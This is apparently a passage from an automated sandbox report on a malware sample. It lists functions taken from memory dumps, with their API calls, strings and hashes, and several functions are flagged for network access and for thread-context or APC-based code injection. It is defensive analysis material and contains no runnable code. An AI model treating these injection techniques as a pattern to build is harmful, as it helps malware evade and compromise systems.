GetCurrentProcess.KERNEL32 ref: 009A4420

Part of subcall function 0099FF18: GetModuleHandleA.KERNEL32 ref: 0099FF2D
Part of subcall function 0099FF18: GetProcAddress.KERNEL32 ref: 0099FF3D

GetCurrentProcessId.KERNEL32 ref: 009A4492

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CurrentProcess$AddressCountHandleModuleProcTick_getptd
String ID:
API String ID: 3426420785-0
Opcode ID: ac2cadb21b7d3e22279a6dd461b8896bd4e31f88a9562ce911e8d9ee9c12a71b
Instruction ID: 8b90cac38c4794fbd7f227c47c2fdeb7e63ed977631e489705ee65dd883f0a0c
Opcode Fuzzy Hash: ac2cadb21b7d3e22279a6dd461b8896bd4e31f88a9562ce911e8d9ee9c12a71b
Instruction Fuzzy Hash: 0341E82571061096FF00EBB5DC8579D77A4FBC9B94F400422DE0A87A6AEF3CC00AC750

Function 0099E720 Relevance: 9.1, APIs: 6, Instructions: 108networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009AA948: RevertToSelf.ADVAPI32 ref: 009AA956

InternetOpenA.WININET ref: 0099E7DD
InternetSetOptionA.WININET ref: 0099E7FD
InternetSetOptionA.WININET ref: 0099E815
InternetConnectA.WININET ref: 0099E84B
InternetSetOptionA.WININET ref: 0099E888
InternetSetOptionA.WININET ref: 0099E8B3

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Internet$Option$ConnectOpenRevertSelf
String ID:
API String ID: 1513466045-0
Opcode ID: 411921f0b780bda79444755ea1b09c1352abee8551b093482236e8c856c606c8
Instruction ID: ca8edb5a7e1c43cf709d5af8bb733bd0c21f6b5839de4e4bbee90573b961b385
Opcode Fuzzy Hash: 411921f0b780bda79444755ea1b09c1352abee8551b093482236e8c856c606c8
Instruction Fuzzy Hash: 7441FF3521074182EF24DF96F490BADB7A9F7D5B88F44401ADE4A17B62CF7CC4458740

Function 009A5594 Relevance: 9.1, APIs: 6, Instructions: 99networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 009A55C6

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

htonl.WS2_32 ref: 009A55F9
recvfrom.WS2_32 ref: 009A563D
WSAGetLastError.WS2_32 ref: 009A564A

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$AllocErrorHeapLast_callnewhhtonlmallocrecvfrom
String ID:
API String ID: 2310505145-0
Opcode ID: 7b82969d95b8156ac40bd70badc804edefe668ed425a8211da48a1875c208419
Instruction ID: 2900673b6e31b9b0f6626496addd6a2fe35057d27d56eb6cd4d0ab177e47d3d8
Opcode Fuzzy Hash: 7b82969d95b8156ac40bd70badc804edefe668ed425a8211da48a1875c208419
Instruction Fuzzy Hash: 1441E172704B4086EB108F26F84071E77A4F799BA9F558122EE4957B75DF3CC481CB80

Function 0355BA07 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0355B95E

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_invalid_parameter_noinfo.LIBCMT ref: 0355B969
_getstream.LIBCMT ref: 0355B989
_errno.LIBCMT ref: 0355B99B
_errno.LIBCMT ref: 0355B9AD
_openfile.LIBCMT ref: 0355B9DB

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: f4b46934b61cd0a6c515992788bbf3f7098805acb66c62ab169b4e9252767cc2
Instruction ID: ba82941d1b98c18b92d935d721780f757d34706abeeca86473fc00aa283bcad9
Opcode Fuzzy Hash: f4b46934b61cd0a6c515992788bbf3f7098805acb66c62ab169b4e9252767cc2
Instruction Fuzzy Hash: FB21A730618F4A4FD795EB2C642933976F1FBD9210F05096FA849C7270DF34E9418396

Function 009A2BC8 Relevance: 9.1, APIs: 6, Instructions: 72threadinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetThreadContext.KERNEL32 ref: 009A2C09
SetThreadContext.KERNEL32 ref: 009A2C31
ResumeThread.KERNEL32 ref: 009A2C3E

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Thread$Context$Resume
String ID:
API String ID: 1758964557-0
Opcode ID: 47e75b3e4a0b68d7fcf2b46edb3e1c0b3662b0cb436c7ebb95251cbeea04a70d
Instruction ID: 8007b68ab125a74c674c0c7624387fb32775611bd21a9375a1796afd0a3b396c
Opcode Fuzzy Hash: 47e75b3e4a0b68d7fcf2b46edb3e1c0b3662b0cb436c7ebb95251cbeea04a70d
Instruction Fuzzy Hash: 3B219132308B8182D7208F19F5443AE7368F749BE0F648675EA9943B49DF78C945C780

Function 009AC5C0 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 009AC517

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_invalid_parameter_noinfo.LIBCMT ref: 009AC522
_getstream.LIBCMT ref: 009AC542
_errno.LIBCMT ref: 009AC554
_errno.LIBCMT ref: 009AC566
_openfile.LIBCMT ref: 009AC594

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: 835e35de52116243c5232cdf7460fa3a6cc22b4b2a138782764f63ca95174e3a
Instruction ID: 2b45a82f856f58238d9d095507c3408ee41ba7d4935f151da14773bff897d63a
Opcode Fuzzy Hash: 835e35de52116243c5232cdf7460fa3a6cc22b4b2a138782764f63ca95174e3a
Instruction Fuzzy Hash: 6711CBE1B1D78285DB119B32990131EA6D5BBC6BD0F445821FE4A9BB15DF3CD4418790

Function 0099F810 Relevance: 9.1, APIs: 6, Instructions: 58fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0099F831

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

free.LIBCMT ref: 0099F86C
fwrite.LIBCMT ref: 0099F8AD
fclose.LIBCMT ref: 0099F8B5
free.LIBCMT ref: 0099F8C2

Part of subcall function 009AB1E8: HeapFree.KERNEL32 ref: 009AB1FE
Part of subcall function 009AB1E8: _errno.LIBCMT ref: 009AB208
Part of subcall function 009AB1E8: GetLastError.KERNEL32 ref: 009AB210

GetLastError.KERNEL32 ref: 0099F8C7

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$ErrorHeapLastfree$AllocFree_callnewhfclosefwritemalloc
String ID:
API String ID: 1616846154-0
Opcode ID: fe4bbc95ef4b08574859fefc5ba918ca2079e897777f34b89423cbeb1ae88b9b
Instruction ID: e821d02e144af5cd58851c1b9f8fcb271798f9a32ccd609587ce07c5b1212ff1
Opcode Fuzzy Hash: fe4bbc95ef4b08574859fefc5ba918ca2079e897777f34b89423cbeb1ae88b9b
Instruction Fuzzy Hash: 6911C41170878082DE10E767A06437EA351EBC6FE4F444631FE9E5BB8ADF2CC6018780

Function 009AB0E4 Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 009AB107

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

malloc.LIBCMT ref: 009AB115

Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB2BC
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2C1

malloc.LIBCMT ref: 009AB137
_snprintf.LIBCMT ref: 009AB152

Part of subcall function 009AB5DC: _errno.LIBCMT ref: 009AB613
Part of subcall function 009AB5DC: _invalid_parameter_noinfo.LIBCMT ref: 009AB61E

malloc.LIBCMT ref: 009AB16D

Strings

HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d, xrefs: 009AB13C

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$AllocHeap_invalid_parameter_noinfo_snprintf
String ID: HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d
API String ID: 3518644649-2739389480
Opcode ID: 28f7500e5a57a94553abab49d0b41e4cfd04cc5b26ced466caba407a8288f66b
Instruction ID: aa12313f19665d4a3c161a65e551b121fa192d47c52c21e7d8c0857a61afe5ab
Opcode Fuzzy Hash: 28f7500e5a57a94553abab49d0b41e4cfd04cc5b26ced466caba407a8288f66b
Instruction Fuzzy Hash: 0701C031705B5041D644DB52B84472DA799F7DABE0F44522AEEA9977C6CF38C0418780

Function 035435B7 Relevance: 8.9, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 03543604

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

malloc.LIBCMT ref: 0354360F

Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A703
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A708

free.LIBCMT ref: 035436F6
free.LIBCMT ref: 035436FE
free.LIBCMT ref: 03543706
free.LIBCMT ref: 03543712
free.LIBCMT ref: 0354371F

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 01a976f15273147b50ec7d6acdbedb3c21a43aceee13bf4a7ef4d6a722d450b4
Instruction ID: 5c0a1282710517c809010f31cdc59b93e66b63431190cebaad55536409fc3b68
Opcode Fuzzy Hash: 01a976f15273147b50ec7d6acdbedb3c21a43aceee13bf4a7ef4d6a722d450b4
Instruction Fuzzy Hash: EC41C438618F0B4FD75EEB6CA45157A73D4FB89304B40026DD88BC3226FF24E86686C5

Function 00994170 Relevance: 8.9, APIs: 7, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 009941BD

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

malloc.LIBCMT ref: 009941C8

Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB2BC
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2C1

free.LIBCMT ref: 009942AF
free.LIBCMT ref: 009942B7
free.LIBCMT ref: 009942BF
free.LIBCMT ref: 009942CB
free.LIBCMT ref: 009942D8

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc$AllocHeap
String ID:
API String ID: 996410232-0
Opcode ID: d822beeafb31d47687cbbf35900d7bfd8460a788cd57ec4d81b27c9478e24994
Instruction ID: a9c115ccd0e1be71477e64d3d504b0ec08ad5784b7cd23f596dfd041f3c24a1c
Opcode Fuzzy Hash: d822beeafb31d47687cbbf35900d7bfd8460a788cd57ec4d81b27c9478e24994
Instruction Fuzzy Hash: D44137223047928BDF1ADB6AE950B6E2754F74ABC4F804525EF6A4B716DF38D823C700

Function 0099EE74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 0099EEED
htonl.WS2_32 ref: 0099EEF7
malloc.LIBCMT ref: 0099EF10
free.LIBCMT ref: 0099EF7D

Strings

zyxwvutsrqponmlk, xrefs: 0099EF4C

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: htonl$freemalloc
String ID: zyxwvutsrqponmlk
API String ID: 1249573706-3884694604
Opcode ID: 60e827709e15f071cf2e6c3d2d1b9052fe80b1463481f4d5e0851a6ab7a4111b
Instruction ID: 327484793c1fc5fa5ec397f63ce080f97706cf6054b575f91b683f279f9b0e37
Opcode Fuzzy Hash: 60e827709e15f071cf2e6c3d2d1b9052fe80b1463481f4d5e0851a6ab7a4111b
Instruction Fuzzy Hash: AC21072230174442EF14EF7AA95136E6BD5EBDABD4F044439AE5A87B57EF3CC8468340

Function 004025E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 0040268A

Strings

CCG , xrefs: 004025F6

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 02ca0884ae1087a20c21e45c5c541f93375eef4ab3a09d0df9e107311897ccd7
Instruction ID: 8a37928041284c8a434aeccdd4db6f983c568c8f0cf3e4f2934023fa32f313ab
Opcode Fuzzy Hash: 02ca0884ae1087a20c21e45c5c541f93375eef4ab3a09d0df9e107311897ccd7
Instruction Fuzzy Hash: C321A171B0154146EE296279865D33B10019B9A374F284E379A3DA73E0DEFECCC2830E

Function 009A24E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A250C
GetProcAddress.KERNEL32 ref: 009A251C
ResumeThread.KERNEL32 ref: 009A2549

Strings

NtQueueApcThread, xrefs: 009A2512
ntdll, xrefs: 009A24FF

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcResumeThread
String ID: NtQueueApcThread$ntdll
API String ID: 682313787-1374908105
Opcode ID: e7e6c475633100eece6753356ed918a7e6f8eaece10a8f42ca503db20b9cac72
Instruction ID: c9083cdda2e8153679a90e63f1ad3b3c0964f2a54dbea64e847755a8f4427423
Opcode Fuzzy Hash: e7e6c475633100eece6753356ed918a7e6f8eaece10a8f42ca503db20b9cac72
Instruction Fuzzy Hash: 6B01A221704B8182EB008B5AF990399B3A4F789BE0F984531EF6947B65DF38C4518700

Function 009A1254 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 009A1276

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

_snprintf.LIBCMT ref: 009A1295

Part of subcall function 009AB5DC: _errno.LIBCMT ref: 009AB613
Part of subcall function 009AB5DC: _invalid_parameter_noinfo.LIBCMT ref: 009AB61E

remove.LIBCMT ref: 009A12A1
remove.LIBCMT ref: 009A12A8

Strings

%s\%s, xrefs: 009A127B

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$remove$AllocHeap_callnewh_invalid_parameter_noinfo_snprintfmalloc
String ID: %s\%s
API String ID: 1896346573-4073750446
Opcode ID: ffc5b049335742fc71228dd6e777388c78786af3e347fc27d6e655662866bbaa
Instruction ID: 1bc876bdf174efb02393a7dc203a30beeef7094a0b798cab8557b0419ff11220
Opcode Fuzzy Hash: ffc5b049335742fc71228dd6e777388c78786af3e347fc27d6e655662866bbaa
Instruction Fuzzy Hash: 07F05E21A09B9085D600AB52B8113AEA764E7C6BD0F684621FF9957B1ACF3CC55187C4

Function 0354BEBB Relevance: 7.8, APIs: 6, Instructions: 347COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03553B67: malloc.LIBCMT ref: 03553B83

malloc.LIBCMT ref: 0354BF65

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

Part of subcall function 0355A047: malloc.LIBCMT ref: 0355A097

Part of subcall function 0355A047: realloc.LIBCMT ref: 0355A0A6

malloc.LIBCMT ref: 0354C057
_snprintf.LIBCMT ref: 0354C0D5
_snprintf.LIBCMT ref: 0354C0FD
_snprintf.LIBCMT ref: 0354C124
free.LIBCMT ref: 0354C292

Part of subcall function 035586F3: malloc.LIBCMT ref: 03558727
Part of subcall function 035586F3: free.LIBCMT ref: 035588DE

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: malloc$_snprintf$_errnofree$_callnewhrealloc
String ID:
API String ID: 2667508507-0
Opcode ID: 479da97b01b779146c38a62a3070aff10b568b1b266dc2a7db8f21ac3f222f97
Instruction ID: e6700915baf5bdd304c4d27521335cd3ab1ccbcbfc891a5974561e9808332d5d
Opcode Fuzzy Hash: 479da97b01b779146c38a62a3070aff10b568b1b266dc2a7db8f21ac3f222f97
Instruction Fuzzy Hash: 23A1A3347187054BDB18FB74B8A567D72F6FBD9210F44452EAC4ACB2B1EE38E9058782

Function 0354FD7F Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 03553B67: malloc.LIBCMT ref: 03553B83

Part of subcall function 0355BA07: _errno.LIBCMT ref: 0355B95E
Part of subcall function 0355BA07: _invalid_parameter_noinfo.LIBCMT ref: 0355B969

fseek.LIBCMT ref: 0354FE1B

Part of subcall function 0355C28B: _errno.LIBCMT ref: 0355C2B3
Part of subcall function 0355C28B: _invalid_parameter_noinfo.LIBCMT ref: 0355C2BE

_ftelli64.LIBCMT ref: 0354FE23

Part of subcall function 0355C2FF: _errno.LIBCMT ref: 0355C31D
Part of subcall function 0355C2FF: _invalid_parameter_noinfo.LIBCMT ref: 0355C328

fseek.LIBCMT ref: 0354FE33

Part of subcall function 0355C28B: _fseek_nolock.LIBCMT ref: 0355C2DC

malloc.LIBCMT ref: 0354FE73

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

fclose.LIBCMT ref: 0354FF30

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$fseekmalloc$_callnewh_fseek_nolock_ftelli64fclose
String ID:
API String ID: 2887643383-0
Opcode ID: 7b4d7289a34a9255c824d7eaa77b2ff1df567971f9fd99a7ac6ed81b33217d28
Instruction ID: bc90997f5803adebf97e72d4bb69f2a3d37aeb350eaf213d45a2ffe2ef098cf3
Opcode Fuzzy Hash: 7b4d7289a34a9255c824d7eaa77b2ff1df567971f9fd99a7ac6ed81b33217d28
Instruction Fuzzy Hash: 7A51A535718B084FC74DEB2CB45567973E5FBD9304B40466EE48BC72A5EE34A90287C6

Function 0356553B Relevance: 7.7, APIs: 5, Instructions: 201COMMON

Download Yara Rule

APIs

